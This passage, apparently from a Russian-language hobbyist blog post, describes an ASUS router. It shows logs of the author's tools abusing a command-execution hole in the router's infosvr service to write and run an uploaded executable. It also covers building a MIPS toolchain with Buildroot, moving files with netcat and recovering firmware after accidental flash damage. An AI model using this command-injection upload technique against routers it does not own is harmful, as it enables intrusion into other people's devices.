50.6% 150.8 Bps part 106 (49 B; cmd: 237 ch) 192.168.1.1: OK
51.1% 153.6 Bps part 107 (49 B; cmd: 237 ch) שש192.168.1.1: OK
51.6% 151.7 Bps part 108 (49 B; cmd: 237 ch) ש192.168.1.1: OK
52.1% 142.4 Bps part 109 (49 B; cmd: 237 ch) ש192.168.1.1: OK
52.5% 145.5 Bps part 110 (48 B; cmd: 235 ch) ש192.168.1.1: OK
53.0% 150.9 Bps part 111 (48 B; cmd: 235 ch) שLOST
53.0% 31.7 Bps part 111 (48 B; cmd: 235 ch) 192.168.1.1: OK
53.5% 410.3 Bps part 112 (48 B; cmd: 235 ch) שש192.168.1.1: OK
54.0% 143.3 Bps part 113 (48 B; cmd: 235 ch) ש192.168.1.1: OK
54.4% 144.6 Bps part 114 (48 B; cmd: 235 ch) שש192.168.1.1: OK
54.9% 141.6 Bps part 115 (48 B; cmd: 235 ch) 192.168.1.1: OK
55.4% 150.0 Bps part 116 (48 B; cmd: 235 ch) ש192.168.1.1: OK
55.9% 140.4 Bps part 117 (48 B; cmd: 235 ch) ש192.168.1.1: OK
56.3% 151.9 Bps part 118 (48 B; cmd: 235 ch) ש192.168.1.1: OK
56.8% 142.0 Bps part 119 (48 B; cmd: 235 ch) ש192.168.1.1: OK
57.3% 145.5 Bps part 120 (48 B; cmd: 235 ch) 192.168.1.1: OK
57.8% 140.8 Bps part 121 (48 B; cmd: 235 ch) 192.168.1.1: OK
58.3% 154.3 Bps part 122 (48 B; cmd: 235 ch) ש192.168.1.1: OK
58.7% 144.6 Bps part 123 (48 B; cmd: 235 ch) 192.168.1.1: OK
59.2% 141.2 Bps part 124 (48 B; cmd: 235 ch) 192.168.1.1: OK
59.7% 138.7 Bps part 125 (48 B; cmd: 235 ch) 192.168.1.1: OK
60.2% 151.9 Bps part 126 (48 B; cmd: 235 ch) ש192.168.1.1: OK
60.6% 142.9 Bps part 127 (48 B; cmd: 235 ch) שLOST
60.6% 31.9 Bps part 127 (48 B; cmd: 235 ch) 192.168.1.1: OK
61.1% 378.0 Bps part 128 (48 B; cmd: 235 ch) ש192.168.1.1: OK
61.6% 142.4 Bps part 129 (48 B; cmd: 235 ch) 192.168.1.1: OK
62.1% 150.0 Bps part 130 (48 B; cmd: 235 ch) שש192.168.1.1: OK
62.5% 136.8 Bps part 131 (48 B; cmd: 235 ch) ש192.168.1.1: OK
63.0% 154.3 Bps part 132 (48 B; cmd: 235 ch) 192.168.1.1: OK
63.5% 149.1 Bps part 133 (48 B; cmd: 235 ch) ש192.168.1.1: OK
64.0% 145.9 Bps part 134 (48 B; cmd: 235 ch) שש192.168.1.1: OK
64.4% 142.4 Bps part 135 (48 B; cmd: 235 ch) שש192.168.1.1: OK
64.9% 147.7 Bps part 136 (48 B; cmd: 235 ch) שש192.168.1.1: OK
65.4% 146.8 Bps part 137 (48 B; cmd: 235 ch) ש192.168.1.1: OK
65.9% 142.0 Bps part 138 (48 B; cmd: 235 ch) שש192.168.1.1: OK
66.3% 179.8 Bps part 139 (48 B; cmd: 235 ch) שש192.168.1.1: OK
66.8% 121.2 Bps part 140 (48 B; cmd: 235 ch) שש192.168.1.1: OK
67.3% 182.5 Bps part 141 (48 B; cmd: 235 ch) שש192.168.1.1: OK
67.8% 119.4 Bps part 142 (48 B; cmd: 235 ch) ש192.168.1.1: OK
68.2% 146.3 Bps part 143 (48 B; cmd: 235 ch) ש192.168.1.1: OK
68.7% 145.0 Bps part 144 (48 B; cmd: 235 ch) ש192.168.1.1: OK
69.2% 142.4 Bps part 145 (48 B; cmd: 235 ch) ש192.168.1.1: OK
69.7% 142.9 Bps part 146 (48 B; cmd: 235 ch) 192.168.1.1: OK
70.2% 145.0 Bps part 147 (48 B; cmd: 235 ch) 192.168.1.1: OK
70.6% 142.0 Bps part 148 (48 B; cmd: 235 ch) 192.168.1.1: OK
71.1% 152.9 Bps part 149 (48 B; cmd: 235 ch) ש192.168.1.1: OK
71.6% 177.1 Bps part 150 (48 B; cmd: 235 ch) 192.168.1.1: OK
72.1% 122.8 Bps part 151 (48 B; cmd: 235 ch) שש192.168.1.1: OK
72.5% 143.3 Bps part 152 (48 B; cmd: 235 ch) שש192.168.1.1: OK
73.0% 145.9 Bps part 153 (48 B; cmd: 235 ch) שLOST
73.0% 31.7 Bps part 153 (48 B; cmd: 235 ch) 192.168.1.1: OK
73.5% 432.4 Bps part 154 (48 B; cmd: 235 ch) ש192.168.1.1: OK
74.0% 144.6 Bps part 155 (48 B; cmd: 235 ch) שש192.168.1.1: OK
74.4% 145.5 Bps part 156 (48 B; cmd: 235 ch) ש192.168.1.1: OK
74.9% 182.5 Bps part 157 (48 B; cmd: 235 ch) שש192.168.1.1: OK
75.4% 117.1 Bps part 158 (48 B; cmd: 235 ch) ש192.168.1.1: OK
75.9% 148.6 Bps part 159 (48 B; cmd: 235 ch) שש192.168.1.1: OK
76.3% 183.9 Bps part 160 (48 B; cmd: 235 ch) ש192.168.1.1: OK
76.8% 140.4 Bps part 161 (48 B; cmd: 235 ch) ש192.168.1.1: OK
77.3% 121.2 Bps part 162 (48 B; cmd: 235 ch) 192.168.1.1: OK
77.8% 149.1 Bps part 163 (48 B; cmd: 235 ch) שש192.168.1.1: OK
78.2% 141.6 Bps part 164 (48 B; cmd: 235 ch) ש192.168.1.1: OK
78.7% 145.0 Bps part 165 (48 B; cmd: 235 ch) ש192.168.1.1: OK
79.2% 148.1 Bps part 166 (48 B; cmd: 235 ch) ש192.168.1.1: OK
79.7% 176.5 Bps part 167 (48 B; cmd: 235 ch) 192.168.1.1: OK
80.1% 121.5 Bps part 168 (48 B; cmd: 235 ch) שש192.168.1.1: OK
80.6% 145.5 Bps part 169 (48 B; cmd: 235 ch) שש192.168.1.1: OK
81.1% 144.6 Bps part 170 (48 B; cmd: 235 ch) ששLOST
81.1% 31.7 Bps part 170 (48 B; cmd: 235 ch) 192.168.1.1: OK
81.6% 417.4 Bps part 171 (48 B; cmd: 235 ch) שש192.168.1.1: OK
82.1% 144.6 Bps part 172 (48 B; cmd: 235 ch) שש192.168.1.1: OK
82.5% 182.5 Bps part 173 (48 B; cmd: 235 ch) 192.168.1.1: OK
83.0% 119.4 Bps part 174 (48 B; cmd: 235 ch) ש192.168.1.1: OK
83.5% 139.5 Bps part 175 (48 B; cmd: 235 ch) 192.168.1.1: OK
84.0% 145.9 Bps part 176 (48 B; cmd: 235 ch) 192.168.1.1: OK
84.4% 145.9 Bps part 177 (48 B; cmd: 235 ch) 192.168.1.1: OK
84.9% 142.0 Bps part 178 (48 B; cmd: 235 ch) 192.168.1.1: OK
85.4% 150.5 Bps part 179 (48 B; cmd: 235 ch) ש192.168.1.1: OK
85.9% 150.0 Bps part 180 (48 B; cmd: 235 ch) ש192.168.1.1: OK
86.3% 142.0 Bps part 181 (48 B; cmd: 235 ch) ש192.168.1.1: OK
86.8% 143.7 Bps part 182 (48 B; cmd: 235 ch) שש192.168.1.1: OK
87.3% 147.7 Bps part 183 (48 B; cmd: 235 ch) ש192.168.1.1: OK
87.8% 141.6 Bps part 184 (48 B; cmd: 235 ch) LOST
87.8% 32.0 Bps part 184 (48 B; cmd: 235 ch) 192.168.1.1: OK
88.2% 355.6 Bps part 185 (48 B; cmd: 235 ch) ש192.168.1.1: OK
88.7% 149.1 Bps part 186 (48 B; cmd: 235 ch) שש192.168.1.1: OK
89.2% 140.4 Bps part 187 (48 B; cmd: 235 ch) ש192.168.1.1: OK
89.7% 147.2 Bps part 188 (48 B; cmd: 235 ch) ש192.168.1.1: OK
90.1% 148.1 Bps part 189 (48 B; cmd: 235 ch) ש192.168.1.1: OK
90.6% 144.1 Bps part 190 (48 B; cmd: 235 ch) LOST
90.6% 32.0 Bps part 190 (48 B; cmd: 235 ch) 192.168.1.1: OK
91.1% 406.8 Bps part 191 (48 B; cmd: 235 ch) 192.168.1.1: OK
91.6% 142.9 Bps part 192 (48 B; cmd: 235 ch) 192.168.1.1: OK
92.0% 148.1 Bps part 193 (48 B; cmd: 235 ch) ש192.168.1.1: OK
92.5% 144.6 Bps part 194 (48 B; cmd: 235 ch) ש192.168.1.1: OK
93.0% 147.2 Bps part 195 (48 B; cmd: 235 ch) ש192.168.1.1: OK
93.5% 144.1 Bps part 196 (48 B; cmd: 235 ch) ש192.168.1.1: OK
94.0% 147.7 Bps part 197 (48 B; cmd: 235 ch) שש192.168.1.1: OK
94.4% 145.9 Bps part 198 (48 B; cmd: 235 ch) שש192.168.1.1: OK
94.9% 174.5 Bps part 199 (48 B; cmd: 235 ch) 192.168.1.1: OK
95.4% 123.4 Bps part 200 (48 B; cmd: 237 ch) 192.168.1.1: OK
Merging to /var/ldd parts 101..116 (16 pcs; cmd: 229 ch)… OK (5586 B)
Merging to /var/ldd parts 117..132 (16 pcs; cmd: 238 ch)… OK (6354 B)
Merging to /var/ldd parts 133..148 (16 pcs; cmd: 238 ch)… OK (7122 B)
Merging to /var/ldd parts 149..164 (16 pcs; cmd: 238 ch)… OK (7890 B)
Merging to /var/ldd parts 165..180 (16 pcs; cmd: 238 ch)… OK (8658 B)
Merging to /var/ldd parts 181..196 (16 pcs; cmd: 238 ch)… OK (9426 B)
Merging to /var/ldd parts 197..200 (4 pcs; cmd: 71 ch)… OK (9618 B)
Written 9.39KB/9.85KB 92.9 Bps (avg) Remaining: 00:05 (01:54/01:59)

95.9% 4.9 Bps part 201 (49 B; cmd: 237 ch) 192.168.1.1: OK
96.4% 146.7 Bps part 202 (49 B; cmd: 237 ch) 192.168.1.1: OK
96.8% 155.6 Bps part 203 (49 B; cmd: 237 ch) שש192.168.1.1: OK
97.3% 142.9 Bps part 204 (49 B; cmd: 237 ch) 192.168.1.1: OK
97.8% 153.1 Bps part 205 (49 B; cmd: 237 ch) LOST
97.8% 32.7 Bps part 205 (49 B; cmd: 237 ch) 192.168.1.1: OK
98.3% 388.9 Bps part 206 (49 B; cmd: 237 ch) ש192.168.1.1: OK
98.8% 148.5 Bps part 207 (49 B; cmd: 237 ch) 192.168.1.1: OK
99.3% 144.5 Bps part 208 (49 B; cmd: 237 ch) 192.168.1.1: OK
99.8% 151.2 Bps part 209 (49 B; cmd: 237 ch) ש192.168.1.1: OK
100.0% 75.3 Bps part 210 (25 B; cmd: 143 ch) שש192.168.1.1: OK
Merging to /var/ldd parts 201..210 (10 pcs; cmd: 145 ch)… OK (10084 B)
Written 9.85KB/9.85KB 78.7 Bps (avg) Remaining: 00:00 (02:00/02:00)

Finished. File size on target is 9.85KB. Working time: 02:00 (120 sec)

Примечание к следующему спойлеру

  • На месте ///*** таких моих комментариев ***/// удалены строки, чтобы не перегружать текст.
  • А на месте ///— таких —/// ничего не удалено. Это просто объяснения.

/dev/console (/dev/ttyS0) — обратите внимание на имя файла, в который перенаправляется вывод на разных этапах

system cmd: 237 echo -ne «\x7f\x45\x4c\x46\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x08\x00\x00\x00\x01\x00\x40\x08\x50\x00\x00\x00\x34\x00\x00\x23\x54\x00\x00\x10\x07\x00\x34\x00\x20\x00\x08\x00\x28\x00»>/var/ldd_0-1;cat /var/ldd_0-1
rund: echo -ne «\x7f\x45\x4c\x46\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x08\x00\x00\x00\x01\x00\x40\x08\x50\x00\x00\x00\x34\x00\x00\x23\x54\x00\x00\x10\x07\x00\x34\x00\x20\x00\x08\x00\x28\x00»>/var/ldd_0-1;cat /var/ldd_0-1 > /tmp/syscmd.out
49 ELF
system cmd: 237 echo -ne «\x1a\x00\x19\x00\x00\x00\x06\x00\x00\x00\x34\x00\x40\x00\x34\x00\x40\x00\x34\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x05\x00\x00\x00\x04\x00\x00\x00\x03\x00\x00\x01\x34\x00\x40\x01\x34\x00\x40»>/var/ldd_0-2;cat /var/ldd_0-2
rund: echo -ne «\x1a\x00\x19\x00\x00\x00\x06\x00\x00\x00\x34\x00\x40\x00\x34\x00\x40\x00\x34\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x05\x00\x00\x00\x04\x00\x00\x00\x03\x00\x00\x01\x34\x00\x40\x01\x34\x00\x40»>/var/ldd_0-2;cat /var/ldd_0-2 > /tmp/syscmd.out
49

///*** много-много подобных строк — ПЕРЕДАЧА ЧАСТЕЙ ФАЙЛА ***///

system cmd: 237 echo -ne «\x00\x00\x00\x03\x20\xf8\x09\x24\x44\x00\x01\x8f\xbc\x00\x18\x00\x40\x20\x21\x8f\x99\x80\xac\x02\x20\x28\x21\x03\x20\xf8\x09\xae\x02\x00\x00\x8f\xbc\x00\x18\x8e\x04\x00\x00\x8f\x99\x80\x68\x00»>/var/ldd_0-100;cat /var/ldd_0-100
rund: echo -ne «\x00\x00\x00\x03\x20\xf8\x09\x24\x44\x00\x01\x8f\xbc\x00\x18\x00\x40\x20\x21\x8f\x99\x80\xac\x02\x20\x28\x21\x03\x20\xf8\x09\xae\x02\x00\x00\x8f\xbc\x00\x18\x8e\x04\x00\x00\x8f\x99\x80\x68\x00»>/var/ldd_0-100;cat /var/ldd_0-100 > /tmp/syscmd.out
48
///— Запрос размера целевого файла (для контроля успешности объединения частей) —///
system cmd: 35 echo -n «»>>/var/ldd;wc -c</var/ldd
rund: echo -n «»>>/var/ldd;wc -c</var/ldd > /tmp/syscmd.out
2 0

///— Объединение загруженных частей —///
system cmd: 228 cat /var/ldd_0-1 /var/ldd_0-2 /var/ldd_0-3 /var/ldd_0-4 /var/ldd_0-5 /var/ldd_0-6 /var/ldd_0-7 /var/ldd_0-8 /var/ldd_0-9 /var/ldd_0-10 /var/ldd_0-11 /var/ldd_0-12 /var/ldd_0-13 /var/ldd_0-14 /var/ldd_0-15 /var/ldd_0-16>/var/ldd;
rund: cat /var/ldd_0-1 /var/ldd_0-2 /var/ldd_0-3 /var/ldd_0-4 /var/ldd_0-5 /var/ldd_0-6 /var/ldd_0-7 /var/ldd_0-8 /var/ldd_0-9 /var/ldd_0-10 /var/ldd_0-11 /var/ldd_0-12 /var/ldd_0-13 /var/ldd_0-14 /var/ldd_0-15 /var/ldd_0-16>/var/ldd; > /tmp/syscmd.out
0 0

///— Запрос размера целевого файла (для контроля успешности объединения частей) —///
system cmd: 14 wc -c</var/ldd
rund: wc -c</var/ldd > /tmp/syscmd.out
4 777
ш $D
system cmd: 238 cat /var/ldd_0-17 /var/ldd_0-18 /var/ldd_0-19 /var/ldd_0-20 /var/ldd_0-21 /var/ldd_0-22 /var/ldd_0-23 /var/ldd_0-24 /var/ldd_0-25 /var/ldd_0-26 /var/ldd_0-27 /var/ldd_0-28 /var/ldd_0-29 /var/ldd_0-30 /var/ldd_0-31 /var/ldd_0-32>>/var/ldd;
rund: cat /var/ldd_0-17 /var/ldd_0-18 /var/ldd_0-19 /var/ldd_0-20 /var/ldd_0-21 /var/ldd_0-22 /var/ldd_0-23 /var/ldd_0-24 /var/ldd_0-25 /var/ldd_0-26 /var/ldd_0-27 /var/ldd_0-28 /var/ldd_0-29 /var/ldd_0-30 /var/ldd_0-31 /var/ldd_0-32>>/var/ldd; > /tmp/syscmd.out
0 777
ш $D
system cmd: 14 wc -c</var/ldd
rund: wc -c</var/ldd > /tmp/syscmd.out
5 1545
ш $D

///*** много подобных строк — ОБЪЕДИНЕНИЕ ПЕРЕДАННЫХ ЧАСТЕЙ ФАЙЛА ***///

system cmd: 71 cat /var/ldd_0-97 /var/ldd_0-98 /var/ldd_0-99 /var/ldd_0-100>>/var/ldd;
rund: cat /var/ldd_0-97 /var/ldd_0-98 /var/ldd_0-99 /var/ldd_0-100>>/var/ldd; > /tmp/syscmd.out
0 4617
ш $D
system cmd: 14 wc -c</var/ldd
rund: wc -c</var/ldd > /tmp/syscmd.out
5 4809
ш $D
system cmd: 14 wc -c</var/ldd
rund: wc -c</var/ldd > /tmp/syscmd.out
5 4809
ш $D

///— следующая команда удаляет уже объединённые части —///
system cmd: 37 rm /var/ldd_0-*;ls /var/ldd_0-*|wc -l
ls: /var/ldd_0-*: No such file or directory
rund: rm /var/ldd_0-*;ls /var/ldd_0-*|wc -l > /tmp/syscmd.out
2 0
09
ш $D

///— далее цикл повторяется для следующего куска (в исходниках называемого chunk-ом) исходного файла —///

system cmd: 237 echo -ne «\x00\x00\x00\x03\x20\xf8\x09\x00\x00\x00\x00\x8f\xbc\x00\x18\x3c\x03\x00\x41\xae\x02\x00\x08\x24\x02\x00\x01\xae\x02\x00\x04\xae\x00\x00\x0c\xac\x62\x21\x88\x12\x00\x00\x42\x00\x00\x00\x00\x8f\xa4»>/var/ldd_1-1;cat /var/ldd_1-1
rund: echo -ne «\x00\x00\x00\x03\x20\xf8\x09\x00\x00\x00\x00\x8f\xbc\x00\x18\x3c\x03\x00\x41\xae\x02\x00\x08\x24\x02\x00\x01\xae\x02\x00\x04\xae\x00\x00\x0c\xac\x62\x21\x88\x12\x00\x00\x42\x00\x00\x00\x00\x8f\xa4»>/var/ldd_1-1;cat /var/ldd_1-1 > /tmp/syscmd.out
49
system cmd: 237 echo -ne «\x01\x58\x00\x00\x00\x00\x94\x82\x00\x10\x00\x00\x00\x00\x24\x42\xff\xfe\x30\x42\xff\xff\x2c\x42\x00\x02\x10\x40\x00\x39\x24\x03\xff\x00\x8c\x82\x00\x04\x00\x00\x00\x00\x00\x62\x18\x24\x3c\x02\x01»>/var/ldd_1-2;cat /var/ldd_1-2
rund: echo -ne «\x01\x58\x00\x00\x00\x00\x94\x82\x00\x10\x00\x00\x00\x00\x24\x42\xff\xfe\x30\x42\xff\xff\x2c\x42\x00\x02\x10\x40\x00\x39\x24\x03\xff\x00\x8c\x82\x00\x04\x00\x00\x00\x00\x00\x62\x18\x24\x3c\x02\x01»>/var/ldd_1-2;cat /var/ldd_1-2 > /tmp/syscmd.out
49 X

///*** много-много-много строк — ПРОХОДИТ НЕСКОЛЬКО ЦИКЛОВ ***///

system cmd: 237 echo -ne «\x00\x01\x00\x00\x00\x00\x00\x41\x21\xa0\x00\x00\x22\x84\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00»>/var/ldd_2-9;cat /var/ldd_2-9
rund: echo -ne «\x00\x01\x00\x00\x00\x00\x00\x41\x21\xa0\x00\x00\x22\x84\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00»>/var/ldd_2-9;cat /var/ldd_2-9 > /tmp/syscmd.out
49
system cmd: 143 echo -ne «\x00\x00\x00\x22\x84\x00\x00\x00\xce\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00»>/var/ldd_2-10;cat /var/ldd_2-10
rund: echo -ne «\x00\x00\x00\x22\x84\x00\x00\x00\xce\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00»>/var/ldd_2-10;cat /var/ldd_2-10 > /tmp/syscmd.out
25
system cmd: 35 echo -n «»>>/var/ldd;wc -c</var/ldd
rund: echo -n «»>>/var/ldd;wc -c</var/ldd > /tmp/syscmd.out
5 9618

system cmd: 145 cat /var/ldd_2-1 /var/ldd_2-2 /var/ldd_2-3 /var/ldd_2-4 /var/ldd_2-5 /var/ldd_2-6 /var/ldd_2-7 /var/ldd_2-8 /var/ldd_2-9 /var/ldd_2-10>>/var/ldd;
rund: cat /var/ldd_2-1 /var/ldd_2-2 /var/ldd_2-3 /var/ldd_2-4 /var/ldd_2-5 /var/ldd_2-6 /var/ldd_2-7 /var/ldd_2-8 /var/ldd_2-9 /var/ldd_2-10>>/var/ldd; > /tmp/syscmd.out
0 9618

system cmd: 14 wc -c</var/ldd
rund: wc -c</var/ldd > /tmp/syscmd.out
6 10084

system cmd: 37 rm /var/ldd_2-*;ls /var/ldd_2-*|wc -l
ls: /var/ldd_2-*: No such file or directory
rund: rm /var/ldd_2-*;ls /var/ldd_2-*|wc -l > /tmp/syscmd.out
2 0
084

system cmd: 35 echo -n «»>>/var/ldd;wc -c</var/ldd
rund: echo -n «»>>/var/ldd;wc -c</var/ldd > /tmp/syscmd.out
6 10084

Ну и что дальше?

Как известно, в Linux чтобы запустить файл на исполнение надо установить ему соответствующие разрешения. Проблемка в том, что на роутере не оказалось chmod (помните про сильно урезанный busybox?). Но ничего. Это можно обойти:

Profit! Мы только что загрузили на роутер свой исполняемый файл, и он работает! Хотя погодите… А где мы его взяли, файл этот?

Как получить исполняемые файлы для своего роутера

Прежде всего нужно узнать архитектуру CPU вашего роутера. Лёгкий путь не даёт всей необходимой информации:

# cat /proc/cpuinfo
system type: RTL8196C
processor: 0
cpu model: 52481
BogoMIPS: 389.12
tlb_entries: 32
mips16 implemented: yes
#

Можно, конечно, даташит поискать и в нём найти эту информацию… А если он недоступен? А если есть разные модификации? Самый верный способ — посмотреть на то, что уже работает.

Придётся как-то достать исполняемый файл с роутера, чтобы проанализировать его с помощью команд file и readelf -h.

Я это сделал так:

  • запустил telnetd и подключил к нему TeraTerm
  • настроил TeraTerm на лог в файл с опцией «бинарный»
  • TeraTerm больше не трогаю (чтобы в начало лога ничего лишнего не попало)
  • выполнил AsusCmd.exe «cat /bin/infosvr > /dev/ttyp0;»
  • остановил лог в файл

Получившийся файл вышел немного больше того, что лежит на роутере (какой-то мусор подмешался). Но ничего: нас интересует только начало файла — ELF Header.

Перекидываем полученный файл на машину с Линуксом. Теперь можно посмотреть заголовок:

Теперь всё ясно: MIPS-1, Big endian.

Собираем тулчейн для нашего роутера

Вот мой скрипт-памятка (выбирайте конфигуратор по вкусу):

#!/bin/sh
wget http://buildroot.uclibc.org/downloads/buildroot-2014.11.tar.gz
tar zxf buildroot-2014.11.tar.gz
cd buildroot-2014.11

sudo apt-get -y install g++

# curses-based configurators
sudo apt-get -y install libncurses5-dev
make menuconfig # original curses-based configurator
#make nconfig # new curses-based configurator

# Qt-based configurator
#sudo apt-get -y install libqt4-dev
#make xconfig # Qt-based configurator

# GTK-based configurator
#sudo apt-get -y install libgtk2.0-dev libglade2-dev
#make gconfig # GTK-based configurator

make

На шаге make *config настраиваем тулчейн.

По крайней мере, надо настроить целевую архитектуру. Target options —> Target Architecture и Target Architecture Variant. Тут есть небольшой подвох: вот так сразу в Target Architecture Variant Mips I вы не найдёте. Чтобы он там появился нужно включить опцию Build options —> Show options and packages that are deprecated or obsolete.

Можно больше ничего не настраивать. А можно ещё много чего настроить: включить поддержку C++ и других языков, статическую компоновку (у меня ничего хорошего с этого не вышло), выбрать компилируемые под целевую архитектуру приложения, апплеты busybox, версии библиотек и т.п.

После настройки выбираем Exit, соглашаемся с сохранением новой конфигурации и… make. Сборка займёт продолжительное время, в зависимости от того, что вы там в настройках понавыбирали (У меня при настройке только архитектуры целевого процессора сборка на VM Ware заняла немногим более полу часа. Замерял так:

ttt=`date`; make; echo $ttt; date

). Можно параллельно собирать, но не с помощью -jN. Руководство гласит:

You should never use make -jN with Buildroot: top-level parallel make is currently not supported. Instead, use the BR2_JLEVEL option to tell Buildroot to run the compilation of each individual package with make -jN.

Т.е. нужно настраивать параметр Build options —> Number of jobs to run simultaneously.

Toolchain готов

Наконец, по прошествии xx минут тулчейн собрался полностью и без ошибок. Можно использовать. GCC для роутера будет по пути ./buildroot-2014.11/output/host/usr/bin/mips-linux-gcc (симлинк на mips-buildroot-linux-uclibc-gcc).
Для начала напишем примитивную программку, скомпилируем, зальём на роутер, выставим разрешение на исполнение (трюк, показанный ранее) и запустим:

Теперь можно писать свои программы для роутера, учитывая ограниченность ресурсов и возможности библиотек, которые есть на роутере.

Но вместе с тулчейном собрались и некоторые бинарники на целевую платформу! Лежат они здесь: ./buildroot-2014.11/output/target/ bin | sbin | usr/bin | usr/sbin. Я перепробовал многие из них (в menuconfig настроил сборку множества дополнительных приложений). Те, которые оказались рабочими и показались полезными сохранил отдельно (может когда-то понадобятся).

Рабочими оказались не все. После загрузки на роутер многие отказывались работать по различным причинам:

  • чаще всего — can’t load library ‘какая-то библиотека’
  • частично работают — can’t resolve symbol ‘какой-то символ’
  • Segmentation fault — без комментариев
  • а все статически слинкованные — Illegal instruction

А если у вас будет ошибка типа Bus error или unexpected word, то скорее всего вы ошиблись с выбором целевой архитектуры (или банально файл повреждён).

Повышаем комфорт

Вы, наверное, заметили, что скорость передачи файла через «дыру» в infosvr, мягко говоря, оставляет желать лучшего. Я хотел решить эту проблему написанием TargetSideAgent, который бы весил немного и поднимал полноценное TCP соединение. Уже и немного кода написал, как ВНЕЗАПНО открыл для себя чудо-утилиту netcat! Эта утилита оказалась рабочей среди приложений, собранных buildroot для целевой платформы. Теперь не надо долго мучиться — netcat передаёт файлы на роутер (да и с роутера тоже) почти мгновенно! Для быстрой передачи теперь можно использовать такой подход:

  • с помощью AsusBinWrite заливаем на роутер netcat
  • устанавливаем ему разрешение на исполнение
  • запускаем на приём:

    ./netcat -vvlp 8888 > recvfile

  • а с компа запускаем на передачу:

    ncat.exe -vv —send-only 192.168.1.1 8888 < Useful\cpuload

Кстати, если у вас почему-то прервалась передача файла с помощью AsusBinWrite, то её можно возобновить, использовав опцию RESUME:

Возобновление прерванной передачи

Теперь скорость приличная и можно легко загружать даже «увесистые» файлы. Но не увлекайтесь. Не забывайте, что /var и /tmp (который на самом деле /var/tmp) — это оперативная память роутера. Если вы полностью её забьёте — роутер перестанет отвечать (или вообще зависнет). В этом случае придётся его перезагрузить вручную. Контролируйте свободную память при помощи free.

Кстати, когда я искал netcat под Windows, то наткнулся на «netcat 21-го века». Он гораздо богаче функционалом, чем обычный netcat. Для нашего случая очень полезной оказалась опция —send-only (разорвать соединение сразу после передачи).

Что ещё можно сделать?

Посмотрите на это ‘хозяйство’:

# mount
rootfs on / type rootfs (rw)
/dev/root on / type squashfs (ro,relatime)
proc on /proc type proc (rw,relatime)
ramfs on /var type ramfs (rw,relatime)
#
# cat /proc/partitions
major minor #blocks name

31 0 64 mtdblock0
31 1 3211 mtdblock1
31 2 4032 mtdblock2
#
# cat /proc/mtd
dev: size erasesize name
mtd0: 00010000 00001000 «boot + cfg»
mtd1: 00322fee 00001000 «root fs»
mtd2: 003f0000 00001000 «linux + root fs»
#
# ls -lF /dev
crw-rw-rw- 1 root root 4, 64 Sep 18 20:22 console
lrwxrwxrwx 1 root root 8 Sep 18 12:05 log -> /tmp/log=
drwxrwxrwx 2 root root 3 Sep 18 12:03 misc/
brw-rw-rw- 1 root root 31, 0 Sep 18 12:05 mtdblock0
brw-rw-rw- 1 root root 31, 1 Sep 18 12:05 mtdblock1
brw-rw-rw- 1 root root 31, 2 Sep 18 12:05 mtdblock2
brw-rw-rw- 1 root root 31, 3 Sep 18 12:05 mtdblock3
crw-rw-rw- 1 root root 1, 3 Sep 18 12:05 null
crw-rw-rw- 1 root root 108, 0 Sep 18 12:05 ppp
crw-rw-rw- 1 root 5 5, 2 Sep 18 12:05 ptmx
drwxrwxrwx 2 root root 3 Sep 18 12:03 pts/
crw-rw-rw- 1 root root 2, 0 Sep 18 20:23 ptyp0
crw-rw-rw- 1 root root 2, 1 Sep 18 12:05 ptyp1
crw-rw-rw- 1 root root 4, 64 Sep 18 12:05 ttyS0
crw-rw-rw- 1 root root 4, 65 Sep 18 12:05 ttyS1
crw-rw-rw- 1 root root 3, 0 Sep 18 20:23 ttyp0
crw-rw-rw- 1 root root 3, 1 Sep 18 12:05 ttyp1
crw-rw-rw- 1 root root 1, 9 Sep 18 12:05 urandom
#

Я как-то неосторожно что-то перенаправил в /dev/mtdblock2. Оно записалось. Роутер работал. Потом, когда я решил его перезагрузить — он не загрузился. Посмотрев, что выдаётся на UART я понял, что всё-таки повредил прошивку. Роутер загрузился в режиме восстановления (именно с этим режимом работает утилита Asus Firmware Restoration).

Режим восстановления

========== SPI =============
SDRAM CLOCK:156MHZ
— Force into Single IO Mode —
|No chipID Sft chipSize blkSize secSize pageSize sdCk opCk chipName |
| 0 ef4016h 0h 400000h 10000h 1000h 100h 104 39 W25Q32|

—RealTek(RTL8196C)at 2012.04.09-16:54+0800 version v1.1f [16bit](390MHz)
no sys signature at 00010000!
Set 8196C PHY Patch OK

—Ethernet init Okay!
<RealTek>
<RealTek>ps
Unknown command!
<RealTek>
<RealTek>ls
Unknown command!
<RealTek>
<RealTek>help
— COMMAND MODE HELP — HELP (?): Print this help message
D <Address> <Len>
DB <Address> <Len>
DW <Address> <Len>
EW <Address> <Value1> <Value2>…
EB <Address> <Value1> <Value2>…
CMP: CMP <dst><src><length>
IPCONFIG:<TargetAddress>
AUTOBURN: 0/1
LOADADDR: <Load Address>
J: Jump to <TargetAddress>
FLW <dst_ROM_offset><src_RAM_addr><length_Byte> <SPI cnt#>: Write offset-data to SPI from RAM
<RealTek>

Недолго думая я запустил тот таки Firmware Restoration и восстановил прошивку.

Отображение работы утилиты Asus Firmware Restoration

<RealTek>D
File Start: 80500000,length=0

**TFTP GET File ASUSSPACELINK1ю,Size 0 Byte

**filename: 31 13 FFFFFFFE FFFFFFA9 Byte
run ASUSSPACELINK

**TFTP Client Upload, File Name: ASUSSPACELINK

**TFTP Client Upload File Size = 278ABC Bytes at 80500000

Success!
<RealTek>
Linux kernel (root-fs) upgrade.
checksum Ok!
burn Addr =0x10000! srcAddr=0x80500000 len =0xcd012

####head_offset: 0(0x0), flash_burnAddr: 0x10000, is_firmware: 1

####Start to burn…

Flash Write Successed!
<RealTek>
Root filesystem upgrade.
checksum Ok!
burn Addr =0x100000! srcAddr=0x805cd022 len =0x1aba9a

